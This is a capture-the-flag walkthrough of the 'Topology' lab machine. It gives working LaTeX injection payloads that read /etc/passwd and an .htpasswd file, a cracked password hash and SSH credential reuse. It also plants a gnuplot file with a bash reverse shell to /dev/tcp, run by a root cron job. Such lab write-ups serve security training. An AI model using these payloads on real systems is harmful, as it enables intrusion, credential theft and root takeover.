Topology

Table of Contents

Introduction


The topology box required us to identify an active HTTP service. After inspecting the source code of the HTTP response, we discovered a vulnerable subdomain susceptible to LaTeX Injection, which allowed us to gain arbitrary read access to the machine. Further enumeration of other subdomains revealed the existence of a development subdomain that required basic authentication. Leveraging the arbitrary read vulnerability, we managed to retrieve both the username and the associated hash.

Following this, we cracked the hash and attempted to determine if it was reused on the SSH service, successfully obtaining a shell under the user vdaisley. Subsequently, while examining the machine’s cronjobs, we observed that the system ran gnuplot as root, processing any .plt file. Exploiting this situation, we crafted a malicious .plt file and gained root-level access to the machine.

Recon


nmap (TCP all ports)

nmap finds two open TCP ports:

$ nmap -Pn -p- 10.129.163.104
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-09 13:37 WEST
Nmap scan report for 10.129.163.104
Host is up (0.052s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 42.66 seconds
$ 

nmap (found TCP ports exploration)

$ nmap -sV -sC -Pn 10.129.163.104 -p 22,80
Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-09 13:39 WEST
Nmap scan report for 10.129.163.104
Host is up (0.050s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Miskatonic University | Topology Group
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.47 seconds
$ 

HTTP - TCP 80

Technologies used:

By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:

Landing page

The following landing page is presented to us after arriving at the root directory.

Shell as vdaisley


Within the HTML source code there is a reference to a unknown subdomain:

<a href="http://latex.topology.htb/equation.php">LaTeX Equation Generator</a> - create .PNGs of LaTeX equations in your browser

By going to this subdomain we are presented with the following LaTeX renderer:

The rendering of LaTeX can be prone to a vulnerability known as LaTeX Injection, where in a similar way to Local File Inclusion we are able to render the contents of an arbitrary file where the service has read permition.

To take advantage of this, we can use the following LaTeX code as input:

$\lstinputlisting{/etc/passwd}$

After rendering we are able to see that we indeed have read access within the machine:

Subdomain Enumeration

After enumerating the subdomains with the ffuf tool, we are able to discover new services running within the HTTP service:

$ ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://topology.htb/ -H 'Host: FUZZ.topology.htb' -fs 6767

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0
________________________________________________

 :: Method           : GET
 :: URL              : http://topology.htb/
 :: Wordlist         : FUZZ: /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.topology.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 6767
________________________________________________

stats                   [Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 185ms]
dev                     [Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 4748ms]
:: Progress: [4989/4989] :: Job [1/1] :: 14 req/sec :: Duration: [0:03:18] :: Errors: 0 ::
$ 

stats subdomain

The first subdomain referenced was the stats subdomain, by going to it we are able to see that it’s just a simple service to display the server load:

dev subdomain

The other subdomain present on the host is the dev subdomain. By going there we can see the following Basic Authentication being required:

Previously we saw that the main service was running with Apache, by going to the documentation we can see that the configuration for the credentials used are located usually in the /var/www/<subdomain>/.htpasswd.

By using the previously found vulnerability of arbitrary read we can try to retrieve the configuration file, to where the credentials are found. To do this we use the following payload on the rederer:

$\lstinputlisting{/var/www/dev/.htpasswd}$

Now by checking the result we are able to retrieve the following:

Found hashes
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0

Crack Hashes

Now that we have a username and an hash the first thing to do is to crack it.

Get Hash Type

Before cracking the hash we first need to know what is the type of it, for this we are going to use the tool Name-That-Hash as follows:

$ nth --text '$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0'

  _   _                           _____ _           _          _   _           _     
 | \ | |                         |_   _| |         | |        | | | |         | |    
 |  \| | __ _ _ __ ___   ___ ______| | | |__   __ _| |_ ______| |_| | __ _ ___| |__  
 | . ` |/ _` | '_ ` _ \ / _ \______| | | '_ \ / _` | __|______|  _  |/ _` / __| '_ \ 
 | |\  | (_| | | | | | |  __/      | | | | | | (_| | |_       | | | | (_| \__ \ | | |
 \_| \_/\__,_|_| |_| |_|\___|      \_/ |_| |_|\__,_|\__|      \_| |_/\__,_|___/_| |_|

https://twitter.com/bee_sec_san
https://github.com/HashPals/Name-That-Hash 
    

$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0

Most Likely 
MD5(APR), HC: 1600 
Apache MD5, HC: 1600 
md5apr1, HC: 1600

$

After knowing the hash type we can now try to crack it with the help of the tool john as follows:

$ john hash.txt --wordlist=/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
calculus20       (?)
1g 0:00:00:29 100% 0.03352g/s 33435p/s 33435c/s 33435C/s calvin2004..caitlyn09
Use the "--show" option to display all of the cracked passwords reliably
Session completed
$ 

Found Credentials

vdaisley:calculus20

By going now to the service where the basic authentication was required we can see that we are able to login and get to the service:

Credential Reuse

With one set of credentials we can try to see if they are being reused elsewhere. By checking this credentials against the SSH service we can see that we are able to have access to the machine as the user vdaisley:

$ ssh [email protected]
The authenticity of host 'topology.htb (10.129.163.104)' can't be established.
ED25519 key fingerprint is SHA256:F9cjnqv7HiOrntVKpXYGmE9oEaCfHm5pjfgayE/0OK0.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'topology.htb' (ED25519) to the list of known hosts.
[email protected]'s password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-150-generic x86_64)


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

vdaisley@topology:~$ id
uid=1007(vdaisley) gid=1007(vdaisley) groups=1007(vdaisley)
vdaisley@topology:~$ 

Shell as root


Now with user access onto the machine we can better understand what the machine is running with the help of the tool pspy, enabling us to see cron jobs or running services:

vdaisley@topology:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
<SNIP>
2023/07/09 09:16:39 CMD: UID=0     PID=1      | /sbin/init 
2023/07/09 09:17:01 CMD: UID=0     PID=2453   | /usr/sbin/CRON -f 
2023/07/09 09:17:01 CMD: UID=0     PID=2452   | /usr/sbin/cron -f 
2023/07/09 09:17:01 CMD: UID=0     PID=2451   | /usr/sbin/CRON -f 
2023/07/09 09:17:01 CMD: UID=0     PID=2450   | /usr/sbin/CRON -f 
2023/07/09 09:17:01 CMD: UID=0     PID=2454   | /bin/sh -c    cd / && run-parts --report /etc/cron.hourly 
2023/07/09 09:17:01 CMD: UID=0     PID=2455   | /usr/sbin/CRON -f 
2023/07/09 09:17:01 CMD: UID=0     PID=2456   | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \; 
2023/07/09 09:17:01 CMD: UID=0     PID=2457   | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
2023/07/09 09:17:01 CMD: UID=0     PID=2459   | 
2023/07/09 09:17:01 CMD: UID=0     PID=2458   | /bin/sh -c /opt/gnuplot/getdata.sh 
2023/07/09 09:17:01 CMD: UID=0     PID=2462   | 
2023/07/09 09:17:01 CMD: UID=0     PID=2461   | /bin/sh /opt/gnuplot/getdata.sh 
2023/07/09 09:17:01 CMD: UID=???   PID=2460   | ???
2023/07/09 09:17:01 CMD: UID=0     PID=2463   | cut -d   -f3,7 
2023/07/09 09:17:01 CMD: UID=0     PID=2465   | /bin/sh /opt/gnuplot/getdata.sh 
2023/07/09 09:17:01 CMD: UID=0     PID=2464   | uptime 
2023/07/09 09:17:01 CMD: UID=0     PID=2467   | /bin/sh /opt/gnuplot/getdata.sh 
2023/07/09 09:17:01 CMD: UID=0     PID=2466   | /bin/sh /opt/gnuplot/getdata.sh 
2023/07/09 09:17:01 CMD: UID=0     PID=2468   | tail -60 /opt/gnuplot/netdata.dat 
2023/07/09 09:17:01 CMD: UID=0     PID=2469   | tail -60 /opt/gnuplot/loaddata.dat 
2023/07/09 09:17:01 CMD: UID=0     PID=2470   | gnuplot /opt/gnuplot/networkplot.plt
<SNIP>

Gnuplot

Within the services being run we can see that the tool gnuplot is being run on the context of the root user. The program is being run against any .plt file:

<SNIP>
2023/07/09 09:17:01 CMD: UID=0     PID=2455   | /usr/sbin/CRON -f 
2023/07/09 09:17:01 CMD: UID=0     PID=2456   | /bin/sh -c find "/opt/gnuplot" -name "*.plt" -exec gnuplot {} \; 
2023/07/09 09:17:01 CMD: UID=0     PID=2457   | find /opt/gnuplot -name *.plt -exec gnuplot {} ; 
<SNIP>

This usage of any .plt file with the program gnuplot can be taken advantage, for this we can just craft a .plt file and write a system command that we want to run. The steps to this can be seen as follows:

vdaisley@topology:/opt$ ls -la
total 12
drwxr-xr-x  3 root root 4096 May 19 13:04 .
drwxr-xr-x 18 root root 4096 Jun 12 10:37 ..
drwx-wx-wx  2 root root 4096 Jun 14 07:45 gnuplot
vdaisley@topology:/opt$ touch gnuplot/shell.plt
vdaisley@topology:/opt$ vim gnuplot/shell.plt
vdaisley@topology:/opt$ cat gnuplot/shell.plt
system "bash -c 'bash -i >& /dev/tcp/<IP>/9001 0>&1'"
vdaisley@topology:/opt$

Now when the cronjob runs our .plt will also be run enabling us to retrieve a reverse shell with the context of root:

$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 10.129.163.104 40352
bash: cannot set terminal process group (2590): Inappropriate ioctl for device
bash: no job control in this shell
root@topology:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@topology:~#